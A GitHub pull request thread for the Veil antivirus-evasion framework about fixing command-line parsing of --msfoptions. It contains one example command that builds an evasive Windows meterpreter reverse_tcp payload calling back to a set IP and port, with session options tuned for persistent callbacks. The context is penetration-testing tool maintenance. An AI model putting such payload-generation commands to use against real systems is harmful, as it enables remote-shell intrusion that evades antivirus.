Veil-Framework / Veil

Veil 3.1.X (Check version info in Veil at runtime)
GNU General Public License v3.0
3.96k stars 881 forks source link

Fix for cli processing of --msfoptions #469

Closed anoncodeinc closed 2 years ago

anoncodeinc commented 2 years ago

There's no example in the readme for passing --msfoptions but the current version attempts to split a list and encapsulating with single or double quotes fails also. This will make the resulting call intuitive.

veil -t Evasion -p 17 --msfvenom windows/meterpreter/reverse_tcp --msfoptions SessionExpirationTimeout=0 SessionRetryCount=9999 --ip 192.168.1.1 --port 1337 -o output

From the looks of it what was there was just erroneously copied from the menu parsing code.

ChrisTruncer commented 2 years ago

Thanks for sending this in!